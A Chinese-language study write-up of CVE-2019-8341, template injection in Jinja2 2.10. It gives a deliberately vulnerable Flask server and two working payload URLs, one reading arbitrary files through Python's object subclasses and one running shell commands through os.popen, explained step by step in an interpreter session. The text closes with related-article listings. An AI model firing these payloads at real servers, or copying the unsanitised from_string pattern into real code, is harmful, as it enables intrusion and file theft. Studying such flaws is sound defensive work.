CVE-2019-8341 Jinja2 RCE漏洞学习
漏洞简述
漏洞简介
Jinja2.10版本,Environment的实例方法from_string,存在RCE,该函数在内部实现逻辑中,存在exec函数去执行了,from_string函数参数中的jinja2的代码指令。
漏洞分类
远程命令/代码执行
影响版本
2.10
漏洞验证:
验证环境
- 系统: Mac OS X
- Python:2.7.15
- Flask : 1.0.2
- Jinja: 2.10
验证服务器脚本(漏洞代码)
import jinja2
from flask import Flask
from flask import request
app = Flask("vuln")
@app.route("/")
def index():
username = request.values.get('username')
return jinja2.Environment().from_string('Hello ' + username).render()
if __name__ == "__main__":
app.run(host='127.0.0.1' , port=4444)
问题代码就出在第10行: jinja2.Environment().from_string('Hello ' + username).render()
攻击方法1--任意文件读取
Payload:http://localhost:4444/?username={{ ''.class.mro[2].subclasses()40.read() }}
解释Payload:
#"""__mro类似于__base__,但是__mro__是追根溯源的,不是向上查找一级"""
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
>>> ''.__class__.__mro__[-1]
<type 'object'>
>>> ''.__class__.__mro__[-1].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
>>> ''.__class__.__mro__[-1].__subclasses__()[40]
<type 'file'>
#最终看出来就是在获取file类使用file类创建一个对象,输入参数是文件名,read()函数读取:

攻击方法2--命令执行
Payload:http://localhost:4444/?username={{%27%27.class.base.mro()[1].subclasses()[71].init.globals[%27os%27].popen(%22ls%20-l%22).read()}}
解释Payload:
#前面同理买就是为了获取两个类,这两个类中的__init__.__globals__中有os模块,用来执行命令:
"""
<class 'site._Printer'>
<class 'site.Quitter'>
"""
#然后可以获取到os模块,利用os模块的popen执行命令,read函数获取回显。

防御
不使用这个函数或者对属于进行过滤。
CVE-2019-8341 Jinja2 RCE漏洞学习的更多相关文章
- GitStack系统RCE漏洞学习
漏洞简介 漏洞简情 漏洞程序 GitStack 影响版本 <=2.3.10 漏洞类型 RCE 漏洞评价 高危 漏洞编号 CVE-2018-5955 漏洞程序介绍 GitStack是一款基于Pyt ...
- spark未授权RCE漏洞学习
Spark简介 spark是一个实现快速通用的集群计算平台.它是由加州大学伯克利分校AMP实验室 开发的通用内存并行计算框架,用来构建大型的.低延迟的数据分析应用程序.它扩展了广泛使用的MapRedu ...
- U-Boot NFS RCE漏洞(CVE-2019-14192)
U-Boot NFS RCE漏洞(CVE-2019-14192) 原文:https://blog.semmle.com/uboot-rce-nfs-vulnerability/ 翻译:看雪翻译小组 - ...
- Zimbra无需登录RCE漏洞利用
2019年3月13号,一名国外的安全研究员在他的博客上公布了zimbra RCE漏洞相关信息,但其中并未提到一些漏洞利用细节. 经过一段时间努力,根据网上各位大牛的分析和我自己的理解,在此我将整个漏洞 ...
- WordPress插件Social Warfare<=3.5.2 无需登录RCE漏洞
该漏洞只存在于Social Warfare插进的3.5.0.3.5.1和3.5.2版本中,其他版本不存在. 2019年3月21日插件作者紧急发布了3.5.3版本以修复高危的RCE漏洞,在<=3. ...
- 威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”
简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件.除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐 ...
- PWN二进制漏洞学习指南
目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...
- XSS漏洞学习笔记
XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...
- 2019 年起如何开始学习 ABP 框架系列文章-开篇有益
2019 年起如何开始学习 ABP 框架系列文章-开篇有益 [[TOC]] 本系列文章推荐阅读地址为:52ABP 开发文档 https://www.52abp.com/Wiki/52abp/lates ...
随机推荐
- Unity Shader-后处理:简单均值模糊
一.简介 今天来学习一下后处理中比较常用的一种效果,屏幕模糊效果.模糊效果,在图像处理中经常用到,Photoshop中也有类似的滤镜.我们在游戏中也会经常用到.因为屏幕模糊效果是一些高级后处理效果 ...
- [Java] 简化正则表达式的使用
使用 RegexString.with(string).pattern(pattern).start() + 后续操作(matches,find或者是replace) 源码 package com; ...
- 浅谈常用的几种web攻击方式
一.Dos攻击(Denial of Service attack) 是一种针对服务器的能够让服务器呈现静止状态的攻击方式.有时候也加服务停止攻击或拒绝服务攻击.其原理就是发送大量的合法请求到服务器,服 ...
- apache的性能调配 MaxClients 与MaxRequestsPerChild
因近期服务不稳定,现象和这个比较类似http://hi.baidu.com/xinfeng999/blog/item/1aea470e214ab1cd7acbe1ed.html根据现象来对APACHE ...
- SNF快速开发平台MVC-EasyUI3.9之-ueditor富文本编辑在 asp.net MVC下使用步骤
mvc项目中用到了这个富文本编辑就试着把遇到的问题个使用步骤在这里记录一下,希望大家少走弯路. 1.首先我们先下载net版本的uediot 2.然后把整个文档拷贝到我们的项目中,记得是整个 把下载的文 ...
- 谈谈MySQL的do语句
[select在某些场景下的不足] 比如说我们想让MySQL暂停5秒.那么可以这样写 ); +----------+ ) | +----------+ | +----------+ row in se ...
- Centos下Yum安装PHP 5.5、5.6、7.0
Centos系统自带的php版本很低,如果我们需要使用高版本的php,可以不用编译安装,直接用yum安装会非常省时省力. 1.检查当前安装的PHP包yum list installed | grep ...
- Hexo NexT 博客后台管理指南
上篇文章讲到,将Hexo NexT 博客成功上传到GitHub 并绑定到我们自定义的域名下了. 但是却还是有个问题,那就是Hexo NexT 博客如何进行后台管理呢? 如果总是通过手动创建文件的方式, ...
- fiddler4 使用教程
Fiddler是最强大最好用的Web调试工具之一,它能记录所有客户端和服务器的http和https请求,允许你监视,设置断点,甚至修改输入输出数据,Fiddler包含了一个强大的基于事件脚本的子系统, ...
- 每日英语:The Right Way to Network
With startup-themed conferences, hackathons, meet-ups and cocktail hours regularly taking place, ent ...